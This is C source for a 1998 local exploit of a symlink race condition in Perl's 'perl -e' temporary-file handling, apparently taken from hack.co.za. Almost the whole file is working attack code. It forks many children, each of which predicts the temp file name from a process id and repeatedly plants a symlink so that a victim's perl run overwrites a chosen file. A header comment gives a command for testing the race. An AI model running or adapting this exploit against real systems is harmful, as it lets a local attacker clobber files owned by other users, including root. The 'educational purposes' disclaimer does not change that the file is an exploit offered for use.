/*
 
   exploit_perl-e -- exploit race condition existing in Perl as of
   version 5.004_04.
 
   If one knows that some user  is going to execute `perl -e  ...'
   at some time (for  example, it is placed  in crontab or is  run
   from ~/.procmailrc) a standard symlink exploit is possible.
 
   This code is provided for educational purposes only and  should
   not be run without permission from system administrator of  the
   machine it is being run on.
 
    I have run (after `echo root > /tmp/ftpusers'):
 
    ./exploit_perl-e 5; perl -e ''; perl -e ''; perl -e ''; \
      perl -e ''; perl -e ''; ls -l /tmp/ftpusers | \
      awk '{if ($5 != "5") print "RACE WON"}'
 
 
       Copyright (C) 1998  Stanislav Shalunov
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

/* File to overwrite. */
#define TARGET "/tmp/ftpusers"
/* This should not be changed unless your Perl was compiled with a non-standard TMPPATH. */
#define TMPPATH "/tmp/perl-ea"
/* How long to wait before stopping. */
#define RACE_DURATION 90

char mytarget[32];

/* Clean up and exit. */
void
handler (sig)
{
  unlink (mytarget);
  exit (0);
}

/* Attack `perl -e' with pid TARGET_PID.  Fork a child for this
   purpose, return immediately. */
do_race (target_pid)
int target_pid;
{
  int pid;
  pid = fork ();
  if (pid < 0)
    return 0;
  if (pid)
    return 1;
  /* Child. */
  signal (SIGALRM, handler);
  alarm (RACE_DURATION);
  sprintf (mytarget, "%s%.5d", TMPPATH, target_pid);
  /* fprintf (stderr, "[%d]: attacking %s\n", getpid(), mytarget); */
  while (1)
    {
      symlink (TARGET, mytarget);
      unlink (mytarget);
    }
}

void
usage (my_name)
char *my_name;
{
  fprintf (stderr, "Usage:\t%s [numchildren]\n");
  exit (1);
}

main (argc, argv)
int argc;
char **argv;
{
  int startpid, pid;
  int numchildren = 20;
  if (argc > 2)
    usage (argv[0]);
  if (argc > 1)
    numchildren = atoi (argv[1]);
  if (! numchildren)
    usage (argv[0]);
  startpid = getpid () + numchildren + 1;

  for (pid = startpid; pid < startpid + numchildren; pid++)
    do_race (pid);
  exit (0);
}
/*                    www.hack.co.za              [2000]*/